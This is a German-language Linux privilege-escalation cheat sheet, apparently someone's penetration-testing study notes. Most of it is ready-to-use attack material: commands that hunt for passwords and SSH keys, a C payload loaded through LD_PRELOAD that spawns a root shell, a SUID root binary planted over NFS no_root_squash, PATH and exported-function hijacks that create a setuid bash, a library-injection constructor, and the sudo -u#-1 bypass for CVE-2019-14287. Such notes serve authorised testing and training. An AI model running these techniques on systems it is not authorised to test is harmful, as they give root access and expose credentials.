Privilege Escalation
sudo -l # https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-command-suid-binary-without-command-path Ist eine Datei ohne Pfad Angegeben, kann dies ausgenutzt werden und eine eigene executable mit root rechten ausgeführt werden.
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; # SUID sudo -V # Findout if vulnerable sudo version exists
cron crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Full tty
script /dev/null -c bash
Enumeration
history # Eingegebene Befehle anzeigen
hostname
uname -a # Betriebssystem
cat /proc/version # Betriebssystem
cat /etc/issue
lscpu # CPU Infos
ps aux # Laufende Prozesse
id # Nutzer und Gruppen
Network Enum
ip a
ip route
ip neigh # ARP
netstat -ano # Offene Verbindungen
Binary Ausnutzung
https://gtfobins.github.io/ https://gtfoargs.github.io/gtfoargs/tar/
Replace python library
Es ist möglich eine Python library zu überschreiben, wenn eine python Datei mit dem Namen der Library in dem CWD existiert.
timer und cron
Auf Linux gibt es meistens die zwei Timer crontab und systemctl.
crontab -u <user> -l
systemctl list-timers --all
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Prozesse monitoren
https://github.com/DominicBreuker/pspy?tab=readme-ov-file
Passwörter
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
locate pass # pw password
find / -name id_rsa 2>/dev/null # andere Möglichkeit: authorized_keys
Kernel Exploits
Es ist sehr einfach und zielführund den Befehl uname -a auszuwerten und dann selbst nach einem passenden Exploit zu Googlen.
LD_PRELOAD
Mit LD_PRELOAD ist es möglich Librarys schon vorzuladen. Sollte der Befehl sudo -l zeigen, dass dies aktiviert ist, kann dies für Privilege Escalation genutzt werden.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}_
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=<PATH TO LIB> <BIN THAT CAN BE RAN AS ROOT>
NFS Root Squashing
Wenn ein geteilter Ordner die Option no_root_squash besitzt, bedeutet dies, dass dieser Mountbar ist und geteilt werden kann. Um zu testen, ob es diese Option gibt kann cat /etc/exports genutzt werden.
Um dies durchzuführen, muss vom Angreifer aus, das Verzeichnis gemountet werden:
showmount -e <VICTIM> # Zeigt Verzeichnisse, die gemountet werden können
mount -o rw,vers2 <VICTIM>:<DATEI SHARE> <MOUNTPOINT>
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > <SCHADCODE>.c
gcc <SCHADCODE>.c -o <MOUNTPOINT>/<SCHADCODE>
chmod +x <MOUNTPOINT>/SCHADCODE>
no_root_squash bleiben die root Rechte an einer Datei erhalten, wenn diese mit root erstellt wurden. Mit root_squash werden diese Rechte aus Sicherheitsgründen herabgestuft.
Sqlite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
Dump Database sqlite3 <DB> .dump
SUID
find / -perm -u=s -type f 2>/dev/null
Umgebungsvariablen
Die Umgebungsvariablen sind userweit verfügbar. Und können mit env aufgerufen werden.
Ruft ein Kommando ein Kommando auf, ohne den Pfad zu spezifizieren, kann der Pfad geändert werden und ein Programm eingeschleust werden, wie im Beispiel mit service gemacht wurde. Um zu prüfen, ob eine executable ausgeführt wird kann das kommando strings genutzt werden.
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH:$PATH
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p}
export -f /usr/sbin/service # Die Variable /usr/sbin/service wird dem User zur Verfügung gestellt
Library Injection
Kann ein Programm mit erweiterten Rechten ausgeführt werden und greift dabei auf eine nicht existente Library zu, kann diese injiziert werden. Um dies zu prüfen kann das Kommando strace <PROGRAM> 2>&1 | grep "No such file|open|access" verwendet werden.
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
gcc -shared -fPIC -o <OUTPUT> <FILE>
Capabilities
Um eine Capability anzuzeigen kann das Kommando getcap -r / 2>/dev/null genutzt werden um alle Programme mit Capabilities anzuzeigen. Hat eine capability den Zusatz +ep ist die Capability e effective und p permitted, kann also benutzt werden.
Sudo Exploits
Security Bypass(CVE-2019-14287)
In Sudo <1.8.28 ist es möglichein Kommando als anderer User auszuführen. Dazu muss dem User verboten werden, etwas als root auszuführen: (ALL, !root) /bin/bash. Dann führt das folgende Kommando zum exploit: sudo -u#-1 /bin/bash. Sudo prüft dabei nicht, ob die Benutzerkennung existiert und führt den Befehl mit einer beliebigen Benutzererkennung mit dem sudo Privileg aus.
Sudo Buffer Overflow(CVE-2019-18634)
In den Sudo Versionen 1.7.1 bis 1.8.30 gibt es einen exploit in der pwfeedback Funktion. Allerdings ist pwfeedback in den meisen Linux versionen standardmäßig nicht aktiviert. Die pwfeedback Funktion führt dazu, dass bei der Eingabe eines Passwortes jedes eingegebene Zeichen durch ein * abgebildet wird. Einem User ist es möglich einen stack basierten bufferoverflow auszunutzen, dazu muss dieser User auch nicht in der sudoers stehen. Mit sudo -l kann geprüft werden, ob pwfeedback aktiviert ist. Für nutzer ohne sudo rechte geht dies auch: https://www.sudo.ws/security/advisories/pwfeedback/
Tools
LinPEAS LinEnum linux exploit suggester linuxprivchecker.py
Resourcen
https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/ https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html https://github.com/TCM-Course-Resources/Linux-Privilege-Escalation-Resources